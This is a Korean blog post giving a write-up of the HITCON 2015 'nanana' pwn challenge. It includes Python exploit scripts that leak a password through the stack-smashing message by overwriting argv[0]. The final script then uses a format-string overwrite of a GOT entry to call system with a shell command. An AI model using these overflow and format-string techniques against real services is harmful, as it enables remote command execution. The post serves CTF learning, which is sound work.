티스토리 뷰
최종 수정: 2015-10-26
hackability@TenDollar
안녕하세요. Hackability 입니다.
오늘 포스팅 할 내용은 2015년 HITCON 에 pwn 200 으로 나온 문제 입니다.
문제는 다음과 같습니다.
get the shell
해당 URL 로 들어 가면 로그인 화면이 있는데 소스 보기를 하면 다음과 같이 두 가지 힌트를 얻을 수 있습니다.
...
...
$.post( '/cgi-bin/nanana', 어쩌구)
http://54.92.88.102/nanana 로 접근하면 nanana ELF 64bit 파일이 떨어집니다.
해당 바이너리를 살펴 보면 NX 와 Stack Canary가 걸려 있음을 확인할 수 있습니다. (checksec.sh)
1 2 | RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH nanana | cs |
IDA를 통해 문제 구조를 보면 다음과 같습니다.
1. 전역 변수 (0x601090)에 패스워드를 저장
2. GET 에서 username, password, job, action 이라는 파라미터를 받음
- 오버 플로우, 포멧 스트링 취약점 둘다 존재
3. password가 전역 변수 (0x601090)과 같다면 do_job을 하고 아니면 Auth Failed 됨
먼저 Auth를 성공 시키기 위해 전역 변수의 값을 알아야 합니다. 전역 변수 (0x601090)의 값을 노출 (leak) 시켜서 어떤 값이 들어 있는지 확인합니다. 여기서 값을 노출 시키기 위해 사용한 방법은 Stack Canary가 변조 되었을 때 발생되는
*** stack smashing detected *** ./nanana
를 이용하도록 합니다. 아이디어는 우리가 변수를 오버플로우 시켜서 Stack Canary가 변경되게 되면 내부적으로 __stack_chk_fail 함수가 동작하고 위 메시지를 띄우게 되는데 여기에 추가로 프로그램 명 (argv[0]) 도 같이 띄우는 것을 이용합니다. 만약 우리가 argv[0]을 0x601090로 덮는다면 아래와 같이 뜨게 될 겁니다.
*** stack smashing detected *** (전역 변수 패스워드)
먼저 이를 위해 다음과 같이 테스트를 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 | import requests import struct Q = lambda x: struct.pack("<Q", x) username = "A" password = "A" job = "A" action = "A" * 311 params = { 'username' : username, 'password' : password, 'job' : job, 'action' : action } r = requests.get(url, params=params) print r.content print r.headers | cs |
결과는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 | Auth Failed content-length : 12 *** stack smashing detected *** : /usr/lib/cgi-bin/nanana terminated keep-alive : timeout=5, max=100 server : Apache/2.4.7 (Ubuntu) connection : Keep-Alive date : Tue, 20 Oct 2015 16:04:06 GMT content-type : text/plain;charset=UTF-8 | cs |
action 값을 312로 조정 하면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 | Auth Failed content-length : 12 *** stack smashing detected *** : terminated keep-alive : timeout=5, max=100 server : Apache/2.4.7 (Ubuntu) connection : Keep-Alive date : Tue, 20 Oct 2015 16:05:30 GMT content-type : text/plain;charset=UTF-8 | cs |
argv[0] 가 사라진 것을 볼 수 있습니다. 따라서 우리는 action + 312 부터 argv[0] 라는 것을 알 수 있고 312 바이트 이후 전역 변수 주소를 넣으면 저 메시지 위치에 뜰 것 같습니다.
1 | action = "A" * 312 + Q(g_password) | cs |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>500 Internal Server Error</title> </head><body> <h1>Internal Server Error</h1> <p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p> <p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p> <p>More information about this error may be available in the server error log.</p> <hr> <address>Apache/2.4.7 (Ubuntu) Server at 54.92.88.102 Port 80</address> </body></html> date : Tue, 20 Oct 2015 16:08:25 GMT content-length : 609 content-type : text/html; charset=iso-8859-1 connection : close server : Apache/2.4.7 (Ubuntu) | cs |
제가 원하는 결과 없이 에러 메시지만 발생됩니다. 이 이유는 argv[0]의 주소는 스택에 존재하여 하위 6바이트는 0 non-zero 이지만 전역 변수의 주소는 zero 값이 되어야 하기 때문에 argv[0] 위치의 주소 값을 0 으로 채울 방법이 필요 합니다. 아이디어는 sprintf 시 마지막 바이트는 null 값으로 채우는 것을 착안하여 username, password, job을 이용하여 argv[0]의 특정 위치를 0으로 바꾸는 것 입니다.
1 2 3 4 | username = "A" * (312 + 0x20 + 6) password = "A" * (312 + 0x40 + 5) job = "A" * (312 + 0x50 + 4) action = "A" * 312 + Q(g_password) | cs |
0x20, 0x40, 0x50은 각각 main 에서 떨어져 있는 변수들의 위치이고 +6, +5, +4는 0으로 채울 위치를 가리키고 있습니다. 이렇게 해서 프로그램을 실행시키면 정상적으로 전역 변수에 있는 값을 leak 할 수 있습니다.
1 2 3 4 5 6 | *** stack smashing detected *** : hitconctf2015givemeshell terminated keep-alive : timeout=5, max=100 server : Apache/2.4.7 (Ubuntu) connection : Keep-Alive date : Tue, 20 Oct 2015 16:04:06 GMT content-type : text/plain;charset=UTF-8 | cs |
(* 이 이후로 서버 바이너리가 죽어서 글로 결과를 설명합니다 -_-;;)
이제 전역 변수의 패스워드를 알았기 때문에 테스트를 해보면 해더에 cat fake-flag 하는 것을 볼 수 있습니다. 하지만 fake-flag는 역시 가짜 flag이고 정상적인 flag를 찾아야 합니다.
먼저 GET으로 파라미터 받는 함수 (sub_40090D)를 살펴 보면 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | sub_40090D (char *a1, char *a2, char *a3, char *a4) { char *v4; char *v5; char *v6; char *v7; v4 = CGI_GET("username"); if ( v4 ) { sprintf(a1, v4); v5 = CGI_GET("password"); if ( v5 ) { sprintf(a2, v5); v6 = CGI_GET("job"); if ( v6 ) { sprintf(a3, v6); v7 = CGI_GET("action"); if ( v7 ) sprintf(a4, v7); } } } } | cs |
이 부분의 sprintf를 이용하여 버퍼 오버플로우를 하여 전역 변수의 패스워드를 알았지만 이를 이용하여 EIP 조작을 하기는 힘들어 보입니다. 따라서, sprintf 에 또다른 취약점인 포멧 스트링 버그를 이용하여 공격을 합니다.
아이디어는 다음과 같습니다.
1. do_job 함수의 .got.plt 를 system 함수의 .plt로 덮어 쓰기
2. do_job 에서 인자로 username을 edi로 받기 때문에 username에 command 넣기
먼저 (1)을 하기 위해서 do_job system 의 plt를 보면 다음과 같습니다.
do_job_got_plt = 0x601048
do_job_plt = 0x4007D0
system_plt = 0x4007C0
do_job_got_plt 에 do_job_plt 값이 있는데 이를 system_plt 로 번경하려고 합니다. 보면 마지막 1바이트만 C0로 변경하면 될것 같습니다. 추가적으로 job 다음에 action 이 스택에 쌓이기 때문에 job 에 주소를 넣고 action 에 포멧 스트링을 넣으면 job 의 위치로 접근이 가능합니다. 그래서 포멧 스트링 공격 코드가 %0xc0x%15$hhn (마지막 1바이트만 변경) 이것만으로도 job 에서 전달한 주소의 마지막 1바이트만 c0 로 변경 가능합니다.
따라서, 이를 위한 최종 공격 코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | import requests import struct Q = lambda x: struct.pack("<Q", x) g_password = 0x601090 username = "A" * (312 + 0x20 + 6) password = "A" * (312 + 0x40 + 5) job = "A" * (312 + 0x50 + 4) action = "A" * 312 + Q(g_password) params = { 'username' : username, 'password' : password, 'job' : job, 'action' : action } r = requests.get(url, params=params) print r.content for k in r.headers: print "{0} : {1}".format(k, r.headers[k]) # read_flag 는 find 로 미리 찾아 놓음 # username = "find / . ! 2>/dev/null" addr_do_job = 0x601048 username = "cat $(/read_flag)" password = "hitconctf2015givemeshell" job = Q(addr_do_job) action = "%" + str(0xc0) + "x%15$hhn" params = { 'username' : username, 'password' : password, 'job' : job, 'action' : action } r = requests.get(url, params=params) print r.content for k in r.headers: print "{0} : {1}".format(k, r.headers[k]) | cs |
(read_flag 가 실행 권한이 있기 때문에 실행 결과를 cat 했었음)
이를 실행 시키면 해더에 flag 값이 찍혀서 나옵니다.
'CTF_WriteUps > 2015_CTF' 카테고리의 다른 글
[2015_TrendMicro_CTF] (Programming 100) click on the different color (0) | 2015.10.27 |
---|---|
[2015_CSAW_CTF] (Reversing 300) FTP (0) | 2015.10.27 |
[2015_Layer7_CTF] (Reversing 150) ReverseMe (0) | 2015.10.27 |
[2015_Hackover_CTF] (Pwnable 75) easy_shell (0) | 2015.10.26 |
[2015_TrendMicro_CTF] (Programming 500) BlackJack (0) | 2015.10.26 |
댓글
최근에 올라온 글
최근에 달린 댓글
- Total
- Today
- Yesterday
링크
TAG
- CTF Write up
- Windows Exploit Development
- IE 11 exploit
- IE 11 UAF
- 윈도우즈 익스플로잇 개발
- 2015 School CTF
- heap spraying
- shellcode
- UAF
- TenDollar
- TenDollar CTF
- IE 10 Exploit Development
- 데이터 마이닝
- data mining
- 2014 SU CTF Write UP
- IE 10 익스플로잇
- School CTF Write up
- IE 10 God Mode
- 힙 스프레잉
- expdev 번역
- Mona 2
- School CTF Writeup
- Use after free
- IE 11 exploit development
- IE UAF
- 쉘 코드 작성
- shellcode writing
- 쉘 코드
- IE 10 리버싱
- WinDbg
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
글 보관함